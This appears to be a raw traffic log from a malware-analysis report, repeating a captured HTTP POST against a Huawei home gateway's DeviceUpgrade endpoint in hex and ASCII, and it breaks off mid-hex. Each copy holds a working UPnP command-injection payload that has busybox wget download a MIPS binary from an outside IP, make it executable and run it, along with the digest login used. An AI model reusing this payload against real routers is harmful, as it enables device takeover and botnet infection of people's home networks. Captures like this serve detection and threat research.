3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 